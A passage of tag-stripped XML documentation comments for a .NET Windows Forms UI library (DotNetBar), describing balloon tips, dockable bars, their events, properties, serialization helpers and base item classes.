+ + + + + Occurs before balloon is displayed. + + + + + Occurs before balloon is closed and allows to cancel the action. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Gets or sets a value indicating whether the BalloonTip is currently active. + true if the BalloonTip is currently active; otherwise, false. The default is true. + + + + + Returns reference to the control that triggered balloon. + + + + + Gets or sets the minimum balloon width when auto sizing balloon. Default value is 180. + + + + + Gets or sets a value indicating whether Balloon receives input focus when displayed. + Default value is false. + + + + + Gets or sets the time (in milliseconds) that passes before the BalloonTip appears. + + + + + Gets or sets a value indicating whether a Balloon window is displayed even when its parent form is not active. Default value is false. + + + + + Gets or sets the internal Balloon control that is used to display Balloon. + This property will have valid value only during time Balloon is actually + displayed on the screen. Value will also be valid during BalloonDisplaying event. + You can use this property to further customize Balloon control before it is + displayed to the user. You can also set it to your own instance of the Balloon + control (or the control that is inheriting it) for ultimate customization options. + Note that new instance of Balloon control is created each time Balloon needs to be displayed. + Once Balloon is closed control is disposed. + + + + + Specifies balloon style. + + + + + Gets or sets the animation type used to display Alert type balloon. + + + + + Gets or sets the total time in milliseconds alert animation takes. + Default value is 200. + + + + + Gets or sets whether balloon will close automatically when user click the close button. + + + + + Gets or sets time period in seconds after balloon closes automatically. + + + + + Gets or sets whether Balloon is shown after control receives input focus. Default value is false. When set to true Balloon will not be displayed on mouse hover. + + + + + Gets or sets whether the Balloon Close button is displayed. + + + + + Gets or sets default balloon width. Usually the width of the balloon is calculated based on the width of the caption text. If caption text is not set then this value will be used as default width of the balloon. + + + + + Gets or sets the Balloon Caption image. + + + + + Gets or sets the Balloon Caption icon. Icon is used to provide support for alpha-blended images in caption. + + + + + Represents bar control. + + + + + Interface used for docking support. + + + + + Returns Minimum docked size of the control. + + + + + Returns Preferrred size of the docked control. + + + + + Sets the dock line for the control. Used internaly by dock manager. + + New Dock line. + + + + Indicated whether control can be docked on top dock site. + + + + + Indicated whether control can be docked on bottom dock site. + + + + + Indicated whether control can be docked on left dock site. + + + + + Indicated whether control can be docked on right dock site. + + + + + Indicates whether control can be docked as document i.e. middle (fill) dock site. + + + + + Indicates whether control can be docked as tab to another bar. + + + + + Indicated whether control can be stretched to fill dock site. + + + + + Holds the left position (dock offset) of the control. + + + + + Specifies the dock line for the control. + + + + + Specifies current dock orientation. + + + + + Gets whether control is docked. + + + + + Returns the dock site of the control. + + + + + Gets or sets the control dock side. + + + + + Gets or sets whether bar is locked to prevent docking below it. + + + + + Interface implemented by target Bar interested in access to designer. + + + + + Gets or sets the BarBaseControlDesigner instance. + + + + + Desribes interface that provides custom serialization support for items. + + + + + Invokes SerializeItem event. + + Provides data for the event. + + + + Invokes DeserializeItem event. + + Provides data for the event. + + + + Occurs after an item has been serialized to XmlElement and provides you with opportunity to add any custom data + to serialized XML. This allows you to serialize any data with the item and load it back up in DeserializeItem event. + + + To serialize custom data to XML definition control creates handle this event and use CustomXmlElement + property on SerializeItemEventArgs to add new nodes or set attributes with custom data you want saved. + + + + + Occurs after an item has been de-serialized (load) from XmlElement and provides you with opportunity to load any custom data + you have serialized during SerializeItem event. + + + To de-serialize custom data from XML definition handle this event and use CustomXmlElement + property on SerializeItemEventArgs to retrive any data you saved in SerializeItem event. + + + + + Gets whether any handlers have been defined for SerializeItem event. If no handles have been defined to optimize performance SerializeItem event will not be attempted to fire. + + + + + Gets whether any handlers have been defined for DeserializeItem event. If no handles have been defined to optimize performance DeserializeItem event will not be attempted to fire. + + + + + Raises BarStateChanged event. + + Provides event arguments. + + + + Initializes a new instance of the Bar class. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Initializes a new instance of the Control class. + + Bar Caption + + + + Releases the focus from the bar and selects the control that had focus before bar was selected. If control that had focus could not be determined focus will stay on the bar. + This method is used by internal DotNetBar implementation and you should not use it. + + + + + Creates the Graphics object for the control. + + The Graphics object for the control. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Raises the PreRender event. + + Provides the event arguments + + + + Raises the PostRender event. + + Provides the event arguments + + + + Drawns bar grab handle if one specified. + + Context information. + + + + Paints bar side bar. + + Reference to graphics object. + + + + Recalculates the layout of the Bar, resizes the Bar if necessary and repaints it. + + + + + Recalculates the layout of the Bar and repaints it. This will not change the size of the Bar it will only force the recalculation of the size for each contained item and it will repaint the bar. To ensure that Bar is resized if necessary as well call RecalcLayout method. + + + + + Raises ItemLayoutUpdated event. + + Provides event arguments. + + + + Method is called by DotNetBarManager when bar is being moved and Escape key is pressed. + + + + + Called when IsMaximized property has changed. + + Old property value + New property value + + + + Closes the DockContainerItem with event source set to Code. + + DockContainerItem to close. + + + + Closes the DockContainerItem. + + DockContainerItem to close. + Source of the event. + + + + Raises the ItemClick event. + + Item that was clicked. + Event arguments. + + + + Suspends normal layout logic. + + + + + Resumes normal layout logic. + + + + + Resumes normal layout logic. Optionally forces an immediate layout of pending layout requests. + + + + + Invokes SerializeItem event. + + Provides data for the event. + + + + Invokes DeserializeItem event. + + Provides data for the event. + + + + Saves the Bar definition to file. + + Definition file name. + + + + Loads the Bar definition from file. + + Definition file name. + + + + Saves the Bar layout to file. + + Definition file name. + + + + Loads the Bar definition from file. + + Definition file name. + + + + Sets the client size of the bar excluding caption. This method is useful when setting the size of the bars with layout type DockContainer. + + Width of bar in pixels. + Height of bar in pixels. + + + + Sets the client size of the bar excluding caption. This method is useful when setting the size of the bars with layout type DockContainer. + + New bar size + + + + Returns true if Font property should be serialized by Windows Forms designer. + + + + + Designer method to reset the property to its default value. + + + + + Resets the ColorScheme property to its default value. + + + + + Called when CanMaximizeFloating property has changed. + + Old property value + New property value + + + + Makes the Bar display by setting the visible property to true. + + + + + Hides the Bar. + + + + + Returns whether Size property should be serialized. + + + + + Returns the first child item with specified name regardless of it's hierarchy. + + Item name. + + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. This member is not implemented and should not be used. + + Item name to look for. + Item type to look for. + Indicates whether GlobalName property is used for searching. + + + + + Returns AutoHidePanel that bar is on if in auto-hide state otherwise returns null. + + AutoHidePanel object or null if bar is not in auto-hide state. + + + + Raises BeforeAutoHideDisplayed event. + + + + + + Raises BeforeAutoHideHidden event. + + + + + + Destroys tooltip window. + + + + + Shows tooltip for this item. + + + + + Re-docks the floating bar to its previous docking position. + + + + + Invokes CaptionButtonClick event. + + + + + Displays or hides the automatic caption button popup menu. + + + + + Called when DockTabStripHeight property has changed. + + Old property value + New property value + + + + Returns the Minimum Size for specified orientation. + + Orientation to return minimum size for. + + + + + Returns the preferred size of the Bar when docked. + + Orientation to return preferred size for. + + + + + Sets the dock line but it does not forces the Bar to change position. The position will be changed on next layout request or when dock site needs to recalculate the layout of the bat. Used internally only. + + + + + ISupportInitialize.BeginInit implementation. + + + + + ISupportInitialize.EndInit implementation. + + + + + Returns Minimum docked size of the control. + + + + + Returns Preferrred size of the docked control. + + + + + Sets the dock line for the control. Used internaly by dock manager. + + New Dock line. + + + + Occurs after bar state has changed, like selected dock tab has changed, bar has closed, bar has been docked or undocked etc. + + + + + Occurs when Item is clicked. + + + + + Occurs after Bar is docked. + + + + + Occurs after Bar is undocked. + + + + + Occurs after Bar definition is loaded. + + + + + Occurs when current Dock tab has changed. + + + + + Occurs when bar visibility has changed as a result of user action. + + + + + Occurs when bar auto hide state has changed. + + + + + Occurs when Bar is about to be closed as a result of user clicking the Close button on the bar. + + + + + Occurs when Bar in auto-hide state is about to be displayed. + + + + + Occurs when popup item is closing. Event is fired only when Bar is used independently of DotNetBarManager. + + + + + Occurs when popup of type container is loading. Event is fired only when Bar is used independently of DotNetBarManager. + + + + + Occurs when popup of type container is unloading. Event is fired only when Bar is used independently of DotNetBarManager. + + + + + Occurs when popup item is about to open. Event is fired only when Bar is used independently of DotNetBarManager. + + + + + Occurs just before popup window is shown. Event is fired only when Bar is used independently of DotNetBarManager. + + + + + Occurs before dock tab is displayed. + + + + + Occurs when caption button is clicked. Caption button is button displayed on bars with grab handle style task pane. + + + + + Occurs on dockable bars when end-user attempts to close the individual DockContainerItem objects using system buttons on dock tab. + Event can be canceled by setting the Cancel property of event arguments to true. This even will occur only after user presses the + X button on tab that is displaying the dockable windows/documents. + + + + + Occurs on dockable bars after DockContainerItem is closed by end-user. This action cannot be cancelled. + + + + + Occurs after an item has been serialized to XmlElement and provides you with opportunity to add any custom data + to serialized XML. This allows you to serialize any data with the item and load it back up in DeserializeItem event. + + + To serialize custom data to XML definition control creates handle this event and use CustomXmlElement + property on SerializeItemEventArgs to add new nodes or set attributes with custom data you want saved. + + + + + Occurs after an item has been de-serialized (load) from XmlElement and provides you with opportunity to load any custom data + you have serialized during SerializeItem event. + + + To de-serialize custom data from XML definition handle this event and use CustomXmlElement + property on SerializeItemEventArgs to retrive any data you saved in SerializeItem event. + + + + + Occurs after the TabStrip style which used on dockable windows has changed. This event gives you opportunity to + change the style of the tab strip by accessing Bar.DockTabControl.Style property. + + + + + Occurs before the bar control is rendered. This event is fired once for each part of the bar control being rendered. Check the Part property of the event arguments to identify the part being rendered. + You can cancel internal rendering by setting Cancel property. + + + + + Occurs after the bar control is rendered and allows you to render on top of the default rendering provided by the control. + + + + + Occurs when DotNetBar is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Gets/Sets the owner of the Bar object. + + + + + Gets or sets the item default accessibility action will be performed on. + + + + + Returns the reference to the control that last had input focus. This property should be used to + determine which control had input focus before bar gained the focus. Use it to apply + the menu command to active control. + + + + + Indicates the array of colors that when set are used to draw the border of the item. + + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Gets whether caption of floating bar will be drawn using themes. + + + + + Gets/Sets the parent item of the Bar. The parents item sub-items are displayed on the bar. + + + + + Occurs after internal item layout has been updated and items have valid bounds assigned. + + + + + Gets or sets docked bar caption height. Default value is 0 which means system predefined height is used. + + + + + Gets or sets whether bar when changed over to floating state is hidden instead of shown. This property is used + internally to optimize loading of hidden floating bars. You should not use this property in your code. It is for internal DotNetBar + infrastructure use only. + + + + + Returns true if bar is being moved/dragged by user. + + + + + Gets or sets whether floating dockable window is maximized. + + + + + Specifies the bar behavior when its title is double-clicked + + + + + Returns whether popup bar should display shadow. + + + + + Returns whether popup bar shadow should be alpha-blended. + + + + + Gets/Sets the popup animation that will be applied when popup is shown. + + + + + Gets whether any handlers have been defined for SerializeItem event. If no handles have been defined to optimize performance SerializeItem event will not be attempted to fire. + + + + + Gets whether any handlers have been defined for DeserializeItem event. If no handles have been defined to optimize performance DeserializeItem event will not be attempted to fire. + + + + + Gets/Sets Bar definition as XML string. + + + + + Gets or sets whether layout changes are saved for this bar when DotNetBarManager.SaveLayout method is used to save layout for all bars. Default value is true which means that layout changes are saved. + + + + + Gets/Sets Bar layout as XML string. + + + + + Specifies background image position when container is larger than image. + + + + + Specifies the transparency of background image. + + + + + Sets/Gets the side bar image structure. + + + + + Gets/Sets the caption of the Bar. This text is displayed in title of the Bar when Bar is floating. + + + + + Specifies whether Bar is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Returns current Bar state. + + + + + Returns the collection of sub-items hosted on the Bar. + + + + + Returns the reference to the container that containing the sub-items. + + + + + Gets/Sets whether the items that could not be displayed on the non-wrap Bar are displayed on popup menu or popup Bar. + + + + + Gets/Sets the spacing in pixels between the sub-items. + + + + + Gets/Sets the padding in pixels. This represents the spacing between the top edge of the bar and the top of the item. + + + + + Gets/Sets the padding in pixels. This represents the spacing between the bottom edge of the bar and the bottom of the item. + + + + + Gets/Sets the padding in pixels. This represents the spacing between the left edge of the bar and the left side of the first item. + + + + + Gets/Sets the padding in pixels. This represents the spacing between the right edge of the bar and the right side of the last item. + + + + + Sets/Gets whether bar is menu bar. Menu bar will show system icons + for Maximized forms in MDI Applications. Only one bar can be a Menu bar in an application. + + + + + Gets or sets the visual type of the bar. The type specified here is used to determine the appearance of the bar. + + + + + Gets or sets Bar Color Scheme. + + + + + Gets or sets Caption (Title bar) background color. + + + + + Gets or sets Caption (Title bar) text color. + + + + + Gets or sets whether toolbars with appropriate style appear with rounded corners. Default value is true. + + + + + Gets/Sets the visual style of the Bar. + + + + + Gets/Sets whether the items will be wrapped into next line when Bar is full. Applies to both docked and floating Bar states. + + + + + Gets/Sets whether the items will be wrapped into next line when Bar is full. Applies only to Bars that are docked. + + + + + Gets/Sets whether the items will be wrapped into next line when Bar is full. Applies only to Bars that are floating. + + + + + Gets/Sets the grab handle style of the docked Bars. + + + + + Gets the grab handle client rectangle. + + + + + Returns CanClose based on the selected dock-container item. + + + + + Gets/Sets whether the Bar can be hidden by end-user. Applies to Document docked bars only. + + + + + Indicates whether Maximize button is visible on floating dock windows. + + + + + Gets/Sets border style when Bar is docked. + + + + + Gets/Sets whether floating bar is hidden when application loses focus. + + + + + Gets/Sets whether tab navigation buttons are shown for tabbed dockable bars. + + + + + Gets or sets the border line color when docked border is a single line. + + + + + Gets/Sets whether Bar is visible or not. + + + + + Returns number of items that have Visible property set to true. + + + + + Gets or sets whether bar is valid drop target for end-user bar customization. Default value is true. + When bar is used as dock container then you can use this property to prevent docking of other bars as dock tabs. + + + + + Gets or sets whether items on the Bar can be customized. + + + + + Specifies whether Bar was created by user using Customize dialog. + + + + + Gets/Sets the Bar name used to identify Bar from code. + + + + + Gets/Sets the Image size for all sub-items on the Bar. + + + + + Gets or sets the layout type. + + + + + Gets or sets whether all buttons are automatically resized to the largest button in collection. + + + + + Gets or sets rounded corner size for styles that use rounded corners. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Gets or sets whether mouse over fade effect is enabled for buttons. Default value is false. Note that Fade effect + will work only when Office2007 style is used. For other styles this property has no effect and fade animation is not used regardless + this property setting. + + + + + Gets whether fade effect should be in use. + + + + + Gets or sets the Bar back color. + + + + + Gets or sets the Bar customize menu (Applies to the bars with LayoutType set to DockWindow only). + + + + + Indicates the auto-hide side of the parent form where bar is positioned. + + + + + Gets or sets whether tab text is always visible while bar is in auto-hide state. Default value is false which indicates that only text for the active dock tab is visible. + + + + + Indicates whether Bar is in auto-hide state. Applies to non-document dockable bars only. + + + + + Gets or sets the visibility of the bar when bar is in auto-hide state. + + + + + Indicates whether Bar can be auto hidden. + + + + + Gets or sets the global parent control used as part of Global Items feature when bar is used as context menu bar. This property is used internally by + DotNetBar and should not be set directly. + + + + + Gets or sets how long it takes to play the auto-hide animation, in milliseconds. Maximum value is 2000, 0 disables animation. + + + + + Occurs before the bar in auto-hide state is displayed on popup and allows you to cancel display by setting Cancel=true on event arguments. + + + + + Occurs before the bar in auto-hide state is hidden and allows you to cancel display by setting Cancel=true on event arguments. + + + + + Gets whether tooltip is visible or not. + + + + + Indicates whether dock tabs are visible when bar is acting as dock-container and it needs to display tabs to represents multiple DockContainerItem objects hosted by the bar. Default value is true. + + + + + Gets or sets height of the docked bar tab strip which displays docked tabs. + + + + + Returns the reference to internal TabStrip control used to display contained DockContainerItems. + + + + + Gets or sets the selected DockContainerItem if bar represents dockable window. + + + + + Gets or sets the tab (DockContainerItem) index for Bars with LayoutType set to eLayoutType.DockContainer. Index corresponds to the index of the DockContainerItem in Bar.Items collection. + + + + + Indicates Bar background image. + + + + + Gets or sets whether caption button menu for bars with grab handle task pane is automatically created. + Caption menu when automatically created will display the list of all items from Items collection + and it will maintain only one item from the list as visible item. + To create custom caption menu that is displayed when user clicks the caption button handle CaptionButtonClick event. + + + + + Gets or sets whether caption (text) of the bars with dock container layout is automatically set to the + selected dock container item text. + + + + + Specifies whether Bar can be undocked. Does not apply to stand alone bars. + + + + + Specifes whether end-user can tear-off (deattach) the tabs on dockable window. + + + + + Specifes whether end-user can reorder the tabs on dockable window. + + + + + Gets or sets whether bar or DockContainerItem that is torn-off this bar can be docked + as tab to another bar. Default value is true which indicates that bar can be docked as tab to another bar. + + + + + Gets or sets whether dock bar can be moved by dragging its caption using the mouse. + + + + + Specifies whether Bar can be docked on Top dock site or not. Does not apply to stand alone bars. + + + + + Specifies whether Bar can be docked on Bottom dock site or not. Does not apply to stand alone bars. + + + + + Specifes whether Bar can be docked on Left dock site or not. Does not apply to stand alone bars. + + + + + Specifes whether Bar can be docked on Right dock site or not. Does not apply to stand alone bars. + + + + + Specifies whether Bar can be docked as document. Default value is false. See DotNetBarManager.EnableDocumentDocking for more details. + + + + + Specifies whether Bar will stretch to always fill the space in dock site. Applies to the dockable bars only. + + + + + Gets or sets whether gray-scale algorithm is used to create automatic gray-scale images. Default is true. + + + + + Gets/Sets the distance from the far left/top side of the docking site or suggests the order of the docked bar. Upon serialization this property + will contain actual left/top position of the bar. You can use it to re-order the bars docked on the same line. Property value is relative to the other + bars docked on the same line when it is used to change the order. For example setting DockOffset value to 10 will place the bar just after the last bar on the + same line that has DockOffset value less than 10. If there is no bar with DockOffset value less than 10 the bar will be placed in first position. + + + + + Gets/Sets the dock line. + + + + + Gets or sets the dock tab alignment. + + + + + Gets or sets whether selected dock tab is closed when Bar caption close button is pressed. Default value is false which indicates that whole bar will be hidden when bars close button is pressed. + + + + + Gets or sets whether close button is displayed on each dock tab that allows closing of the tab. Default value is false. + + + + + Gets or sets whether tab that shows all dock containers on the bar is visible all the time. By default + tab is hidden when there is only one item displayed. + + + + + Gets or sets whether bar is locked to prevent docking below it. Applies to undockable bars only. + + + + + Gets/Sets the orientation of the Bar. + + + + + Returns whether Bar is docked or not. + + + + + Returns the Bars dock site. + + + + + Gets/Sets the dock side for the Bar. + + + + + Gets or sets the inital floating location. This location will be used when DockSide is set to None. + + + + + Indicates whether Tooltips are shown on Bars and menus. + + + + + Gets or sets whether control is selected in designer. + + + + + Gets or sets whether accelerator letters for menu or toolbar commands are underlined regardless of + current Windows settings. Accelerator keys allow easy access to menu commands by using + Alt + choosen key (letter). Default value is false which indicates that system setting is used + to determine whether accelerator letters are underlined. Setting this property to true + will always display accelerator letter underlined. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Gets or sets whether hooks are used for internal DotNetBar system functionality. Using hooks is recommended only if DotNetBar is used in hybrid environments like Visual Studio designers or IE. + + + + + Indicates whether mnemonic keys, accelerator keys, which are set through item Text property used ampersand character are processed by control. + + + + + Specifes whether Bar can be docked on Top dock site or not. Does not apply to stand alone bars. + + + + + Specifes whether Bar can be docked on Bottom dock site or not. Does not apply to stand alone bars. + + + + + Specifes whether Bar can be docked on Left dock site or not. Does not apply to stand alone bars. + + + + + Specifes whether Bar can be docked on Right dock site or not. Does not apply to stand alone bars. + + + + + Specifes whether Bar can be docked as document. Default value is false. See DotNetBarManager.EnableDocumentDocking for more details. + + + + + Indicated whether control can be stretched to fill dock site. + + + + + Holds the left position (dock offset) of the control. + + + + + Specifies the dock line for the control. + + + + + Specifies current dock orientation. + + + + + Gets whether control is docked. + + + + + Returns the dock site of the control. + + + + + Gets or sets the control dock side. + + + + + Gets or sets whether bar is locked to prevent docking below it. + + + + + Defines delegate for the PreRender and PostRender Bar control events. + + + + + Represents event arguments for PreRender and PostRender Bar control event. + + + + + Gets the reference to the Bar being rendered. + + + + + Gets or sets the rectangle of the part being rendered. Certain parts of bar like the title buttons allow you to set this property to the custom size of your button. + Default value is the system size of the part being rendered. + + + + + Gets the Bar part being rendered. + + + + + When used in PreRender event allows you to cancel the default rendering by setting this property to true. + + + + + Gets the reference to the Graphics object to render the tab on. + + + + + Creates new instance of the class and initializes it with default values. + + + + + Defines the part of the Bar control for custom rendering. + + + + + Indicates the Bar background and border. + + + + + Indicates the Bar caption. + + + + + Indicates the Bar close button displayed inside of caption. + + + + + Indicates the Bar customize button displayed inside of caption. + + + + + Indicates the Bar caption text. + + + + + Indicates the Bar grab handle. + + + + + Indicates the Bar resize handle. + + + + + Indicates the Bar auto-hide button displayed inside of caption. + + + + + Indicates the Bar caption task pane. + + + + + Indicates the Bar maximize button displayed inside of caption. + + + + + Indicates the complete bar area. This part is used for the PostRender event. + + + + + Defines delegate for BarStateChanged event. + + + + + + + Provides event arguments for ActiveDockContainerChanged event. + + + + + Gets the Bar that is changed. + + + + + Gets the type of the change that affected the bar. + + + + + Provides any optional context information about the state change. + + + + + Initializes a new instance of the BarStateChangedEventArgs class. + + + + + + + Initializes a new instance of the BarStateChangedEventArgs class. + + + + + + + + Defines bar state changes for BarStateChanged event. + + + + + Indicates that Bar selected dock tab is about to change. + + + + + Indicates that Bar selected dock tab has changed. + + + + + Indicates that bar docking has changed and bar was docked. + + + + + Indicates that bar has been undocked from dock site. + + + + + Indicates that bar dock tab has closed. + + + + + Indicates that bar in auto-hide state has been folded, i.e. returned to collapsed state. + + + + + Indicates that bar in auto-hide state has been open, shown. + + + + + Indicates that bar AutoHide property has changed meaning that bar has been either placed in auto-hide mode or taken out of auto-hide mode. + + + + + Indicates that tab has been moved within a bar tab-strip by end user. + + + + + Specifies the behavior of bar when its title is double clicked. + + + + + Double clicking bar title does not do anything. + + + + + Double clicking bar title when bar is docked will float the bar if CanUndock=true + + + + + Double clicking floating bar title will re-dock it if any of CanDock*** properties is true. + + + + + Double clicking will toggle bar state between float and dock state if all CanDock*** and CanUndock properties allow it. + + + + + Represents base control for bars. + + + + + Notifies the accessibility client applications of the specified AccessibleEvents for the specified child control. + + The AccessibleEvents object to notify the accessibility client applications of. + The child Control to notify of the accessible event. + + + + Returns the collection of items with the specified name. + + Item name to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the collection of items with the specified name and type. + + Item name to look for. + Item type to look for. + + + + + Returns the first item that matches specified name. + + Item name to look for. + + + + + Invokes the DotNetBar Customize dialog. + + + + + Invokes ItemDoubleClick event. + + Reference to item double-clicked + Event arguments + + + + Clean up any resources being used. + + + + + Applies design-time defaults to control. + + + + + Creates the Graphics object for the control. + + The Graphics object for the control. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Called after control has painted its content and allows painting on top of the controls content. + + Paint arguments. + + + + Raises ItemLayoutUpdated event. + + Provides event arguments. + + + + Applies any layout changes and repaint the control. + + + + + Occurs when Checked property of an button has changed. + + + + + Occurs when Item is clicked. + + + + + Occurs when Item is clicked. + + + + + Occurs when popup of type container is loading. + + + + + Occurs when popup of type container is unloading. + + + + + Occurs when popup item is about to open. + + + + + Occurs when popup item is closing. + + + + + Occurs just before popup window is shown. + + + + + Occurs when Item Expanded property has changed. + + + + + Occurs when mouse button is pressed. + + + + + Occurs when mouse button is released. + + + + + Occurs when mouse enters the item. + + + + + Occurs when mouse leaves the item. + + + + + Occurs when mouse moves over the item. + + + + + Occurs when mouse remains still inside an item for an amount of time. + + + + + Occurs when item loses input focus. + + + + + Occurs when item receives input focus. + + + + + Occurs when user changes the item position, removes the item, adds new item or creates new bar. + + + + + Occurs after an Item is removed from SubItemsCollection. + + + + + Occurs after an Item has been added to the SubItemsCollection. + + + + + Occurs when ControlContainerControl is created and contained control is needed. + + + + + Occurs when Text property of an Item has changed. + + + + + Use this event if you want to serialize the hosted control state directly into the DotNetBar definition file. + + + + + Use this event if you want to deserialize the hosted control state directly from the DotNetBar definition file. + + + + + Occurs after DotNetBar definition is loaded. + + + + + Occurs when DotNetBar is looking for translated text for one of the internal text that are + displayed on menus, toolbars and customize forms. You need to set Handled=true if you want + your custom text to be used instead of the built-in system value. + + + + + Occurs before an item in option group is checked and provides opportunity to cancel that. + + + + + Occurs before tooltip for an item is shown. Sender could be the BaseItem or derived class for which tooltip is being displayed or it could be a ToolTip object itself it tooltip is not displayed for any item in particular. + + + + + Occurs after main application form is activated. + + + + + Occurs after main application form is deacticated. + + + + + Occurs on application wide mouse down event. + + + + + Gets or sets the form SideBar is attached to. + + + + + Indicates whether Reset buttons is shown that allows end-user to reset the toolbar state. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Indicates whether Tooltips are shown on Bars and menus. + + + + + Indicates whether item shortcut is displayed in Tooltips. + + + + + Gets or sets the item default accessibility action will be performed on. + + + + + Specifies the background style of the Explorer Bar. + + + + + Indicates whether shortucts handled by items are dispatched to the next handler or control. + + + + + Gets or sets Bar Color Scheme. + + + + + Gets or sets whether gray-scale algorithm is used to create automatic gray-scale images. Default is true. + + + + + Specifies whether SideBar is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Occurs after internal item layout has been updated and items have valid bounds assigned. + + + + + Represents the method that will handle the ItemRemoved event. + + + + + Represents class for Accessibility support. + + + + + Creates new instance of the object and initializes it with owner control. + + Reference to owner control. + + + + Returns number of child objects. + + Total number of child objects. + + + + Returns reference to child object given the index. + + 0 based index of child object. + Reference to child object. + + + + Gets accessible role. + + + + + Gets parent accessibility object. + + + + + Returns bounds of the control. + + + + + Returns current accessible state. + + + + + Summary description for BarFunctions. + + + + + Tries to invoke the RecalcLayout method on the control and return true if such method was invoked. + + Reference to the control + Indicates whether to invalidate control if no recalc layout method is found + return true if method is invoked. + + + + Creates copy of a bar to be used as new dock bar. This function is used to create new bar for tabs that are torn off the existing dock bars. + + Original base bar to base the new bar on. + New instance of a bar. Note that bar is not added to the DotNetBarManager.Bars collection and DockSide is not set. + + + + Returns if passed control is ready for painting. + + Control to test. + true if handle is valid otherwise false + + + + XML element is expected to be something like Image data Base64 encoded + + Image data + + + + + Collection of Bar objects. + + + + + Releases the resources used by the Component. + + + + + Adds an Bar to the end of Bars collection. + + The Bar to be added to the end of the Bars collection. + + + + Removes specified bar from collection. + + Bar to remove + + + + Determines whether an Bar is in the collection. + + The Bar to locate in the collection. + true if item is found in the collection; otherwise, false. + + + + Determines whether bar with given name is in collection. + + Name of the bar + True if bar is part of this collection, otherwise false. + + + + Returns the zero-based index of the Bar in the collection. + + Bar to locate. + + + + + Gets the Bar at the specified index. + + + + + Gets the Bar with the specified name. + + + + + Holds the XML element and attribute names for bar serialization. + + + + + Represents class with static functions that provide commonly used utility functions when working with + Bar objects and items hosted by Bar object. + + + + + Sets Bar visible property and remembers the auto-hide state. + + Bar to set visibility for. + true if visible otherwise false + + + + Sets the visible property of DockContainerItem and hides the bar if the given item is the last visible item on the bar. + It will also automatically display the bar if bar is not visible. + + DockContainerItem to set visibility for. + Indicates the visibility of the item + + + + Creates new instance of the bar and sets its properties so bar can be used as Document bar. + + Returns new instance of the bar. + + + + Sets the properties on a bar so it can be used as Document bar. + + Bar to set properties of. + + + + Changes the MDI Client border edge to remove 3D border or to add it. + + Reference to MDI Client object. + Indicates whether to remove border. + + + + Changes the MDI Client border edge to remove 3D border or to add it. + + Reference to MDI parent form. + Indicates whether to remove border. + + + + Disposes image reference and sets it to null. + + Reference to image to dispose. + + + + Disposes image reference and sets it to null. + + Reference to image to dispose. + + + + Invokes the method asynchronously using the WinForms Timer. + + Method to invoke. + + + + Invokes the method asynchronously using the WinForms Timer. + + Method to invoke. + Time in milliseconds after which method is invoked. + + + + Gets or sets whether Fade Animation is enabled on system level for DotNetBar items which use this. Default value is true. + + + + + Gets or sets whether StringFormat internally used by all DotNetBar controls to render text is GenericDefault. Default value is false + which indicates that GenericTypographic is used. + + + + + Gets or sets the anti-alias text rendering hint that will be used to render text on controls that have AntiAlias property set to true. + + + + + Gets or sets whether .NET Framework TextRenderer class is used for text rendering instead of Graphics.DrawString. + Default value is false. + Using TextRenderer will disable the Fade and Animation effects on controls because of issues in TextRenderer when drawing text on transparent + surfaces. + + + + + Gets or sets whether items always generate the Focus accessibility event when mouse enters the item. Default value is false which indicates + that focus event will be raised only when item is on menu bar. + + + + + Gets or sets whether Application Message Filter that is registered by popup controls + is automatically unregistered when last control is disposed. Default value is false and + in most cases should not be changed. + + + + + Get or sets the text-markup padding for text measurement when running on Japanese version of Windows. + + + + + Gets or sets whether Image and Icon resources assigned to items and controls are automatically disposed when + control or item is disposed. Default value is false. + + + + + Defines the base class for items that are used by DotNetBar. + + + + + Represents a content block interface. + + + + + Gets or sets the bounds of the content block. + + + + + Gets or sets whether content block is visible. + + + + + Gets or sets the block margins. + + + + + Creates new instance of BaseItem. + + + + + Creates new instance of BaseItem and assigns item name. + + Item name. + + + + Creates new instance of BaseItem and assigns item name and item text. + + Item Name + Item Text + + + + Serializes the item and all sub-items into the XmlElement. + + XmlElement to serialize the item to. + + + + Deserialize the Item from the XmlElement. + + Source XmlElement. + + + + Indicates whether SubItems collection is serialized. Default value is true. + + + + + Called on each item when ScaleControl method of parent control is called and gives opportunity to item to adjust its displayed based on current scaling. + + Scale factor. + + + + Called when item container has changed. If you override this method you must call the base implementation to allow default processing to occur. + + Previous container of the item. + + + + Called when item parent has changed. + + + + + Returns whether item is enabled including the parent control item is on. + + + + + + Returns whether item is enabled including the parent control item is on. + + + + + + Called when size of the item is changed externally. + + + + + Called when Visibility of the items has changed. + + New Visible state. + + + + Called when item Display state has changed. + + + + + Called when item owner has changed. + + + + + Raises SubItemsChanged event. + + + + + + Occurs after an item has been added to the container. This procedure is called on both item being added and the parent of the item. To distinguish between those two 